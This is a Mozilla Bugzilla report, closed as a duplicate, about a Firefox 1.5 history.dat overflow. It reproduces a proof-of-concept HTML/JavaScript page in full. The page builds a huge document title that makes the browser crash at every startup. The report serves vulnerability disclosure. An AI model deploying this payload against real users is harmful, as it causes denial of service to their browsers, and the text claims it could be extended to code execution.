Closed
Bug 319542
Opened 19 years ago
Closed 19 years ago
Firefox 1.5 buffer overflowl
Categories
(Firefox :: Bookmarks & History, defect)
Tracking
()
VERIFIED
DUPLICATE
of bug 319004
People
(Reporter: lingyuchai, Unassigned)
Details
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7
Firefox 1.5 buffer overflow
found this on paket storm
http://www.anonym.to/?http://packetstormsecurity.org/filedesc/firefox-1.5-buffer-overflow.txt.html
Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.
this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.
Tested with Firefox 1.5 on Windows XP SP2.
ZIPLOCK
-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>
Reproducible: Always
|
||
Comment 1•19 years ago
|
||
*** This bug has been marked as a duplicate of 319004 ***
Status: UNCONFIRMED → RESOLVED
Closed: 19 years ago
Resolution: --- → DUPLICATE
Component: History → Bookmarks & History
QA Contact: history → bookmarks
You need to log in
before you can comment on or make changes to this bug.
Description
•